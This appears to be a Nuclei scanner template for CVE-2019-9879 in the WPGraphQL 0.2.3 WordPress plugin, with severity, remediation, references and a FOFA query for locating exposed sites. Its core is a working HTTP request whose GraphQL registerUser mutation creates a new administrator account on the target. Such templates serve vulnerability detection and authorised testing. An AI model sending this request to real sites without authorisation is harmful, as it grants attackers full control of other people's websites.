id: CVE-2019-9879 info: name: WPGraphQL 0.2.3 - User Creation author: DhiyaneshDk severity: critical description: | The WPGraphQL 0.2.3 plugin for WordPress allows remote attackers to register a new user with admin privileges, whenever new user registrations are allowed. This is related to the registerUser mutation. impact: | Attackers can create admin users, leading to full control over the WordPress site. remediation: | Update to the latest version of WPGraphQL or apply security patches to restrict user registration permissions. reference: - https://github.com/wp-graphql/wp-graphql/releases/tag/v0.3.0 - https://github.com/pentestpartners/snippets/blob/master/wp-graphql0.2.3_exploit.py - https://wpscan.com/vulnerability/2d451c89-91ce-4151-b3fb-56af15869644/ - https://nvd.nist.gov/vuln/detail/CVE-2019-9879 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-9879 cwe-id: CWE-306 epss-score: 0.76189 epss-percentile: 0.98951 cpe: cpe:2.3:a:wpengine:wpgraphql:0.2.3:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: wpengine product: wpgraphql framework: wordpress fofa-query: body="/wp-content/plugins/wp-graphql/" tags: cve,cve2019,wp-graphql,wpengine,wordpress,wp-plugin,intrusive,vkev,vuln variables: username: "{{to_lower(rand_text_alphanumeric(6))}}" password: "{{rand_text_alphanumeric(12)}}" user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com" http: - raw: - | POST / HTTP/1.1 Host: {{Hostname}} Content-type: application/json {"query": "mutation{registerUser(input:{clientMutationId:\"UWHATM8\",email:\"{{user_email}}\",password:\"{{password}}\",username:\"{{username}}\",roles:[\"administrator\"]}){clientMutationId}}"} matchers: - type: dsl dsl: - status_code == 200 - contains(content_type, 'application/json') - contains_all(body, 'UWHATM8', '{\"status\":') condition: and # digest: 4a0a00473045022100c7b3b7ca445f10b24962264df740046814e70bc6e2b44610da8285f69ef69e8e02202e154014a8dc5d8969b924f3c4e6b2a3051d2431d243f6b354014c17186bdce7:922c64590222798bb761d5b6d8e72950